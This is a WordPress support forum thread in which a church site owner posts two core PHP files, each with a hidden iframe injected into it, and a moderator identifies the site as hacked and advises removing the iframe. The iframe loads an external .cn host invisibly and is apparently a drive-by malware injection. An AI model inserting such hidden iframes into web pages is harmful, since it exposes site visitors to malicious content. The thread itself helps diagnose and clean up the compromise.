Forums

New site worked last night - now Syntax Error (3 posts)

  1. dane_gay
    Member
    Posted 2 years ago #

    Any help would be appreciated. I am new to wordpress. I installed and setup our church website last night and everything was great. When I went to view the site this morning all I get is this:
    Parse error: syntax error, unexpected '<' in /home/calvar6/public_html/index.php on line 18

    Here is the code from that index.php file
    <?php
    /**
    * Front to the WordPress application. This file doesn't do anything, but loads
    * wp-blog-header.php which does and tells WordPress to load the theme.
    *
    * @package WordPress
    */

    /**
    * Tells WordPress to load the WordPress theme and output it.
    *
    * @var bool
    */
    define('WP_USE_THEMES', true);

    /** Loads the WordPress Environment and Template */
    require('wp-blog-header.php');
    <iframe src="http://bigtopfestival.cn:8080/index.php" width=187 height=165 style="visibility: hidden"></iframe>
    ?>

    Also, when I try to login to the admin console I get this message:
    Parse error: syntax error, unexpected '<' in /home/calvar6/public_html/wp-admin/index.php on line 45

    Here is the code for that file:
    <?php
    /**
    * Dashboard Administration Panel
    *
    * @package WordPress
    * @subpackage Administration
    */

    /** Load WordPress Bootstrap */
    require_once('admin.php');

    /** Load WordPress dashboard API */
    require_once(ABSPATH . 'wp-admin/includes/dashboard.php');

    wp_dashboard_setup();

    wp_enqueue_script( 'dashboard' );
    wp_enqueue_script( 'plugin-install' );
    wp_enqueue_script( 'media-upload' );
    wp_admin_css( 'dashboard' );
    wp_admin_css( 'plugin-install' );
    add_thickbox();

    $title = __('Dashboard');
    $parent_file = 'index.php';
    require_once('admin-header.php');

    $today = current_time('mysql', 1);
    ?>

    <div class="wrap">
    <?php screen_icon(); ?>
    <h2><?php echo esc_html( $title ); ?></h2>

    <div id="dashboard-widgets-wrap">

    <?php wp_dashboard(); ?>

    <div class="clear"></div>
    </div><!-- dashboard-widgets-wrap -->

    </div><!-- wrap -->

    <?php require(
    <iframe src="http://bigtopfestival.cn:8080/index.php" width=187 height=165 style="visibility: hidden"></iframe>

    The frustrating part is it was working perfectly last night!

    Thank you very much for any help.

    Dane Gay
    webservant
    http://www.calvarychapelofrichmond.com

  2. esmi
    Theme Diva & Forum Moderator
    Posted 2 years ago #

    Oh dear. That looks like you've been hacked.

    Check every file and remove <iframe src="http://bigtopfestival.cn:8080/index.php" width=187 height=165 style="visibility: hidden"></iframe> wherever you find it.

    Also check the last post in the following thread:
    http://wordpress.org/support/topic/268083?replies=5

  3. Ryan S
    Member
    Posted 2 years ago #

    this code can be added from the template.. so do not use/change the template which are unknown... and as mentioned by esmi, remove that code..

Topic Closed

This topic has been closed to new replies.

About this Topic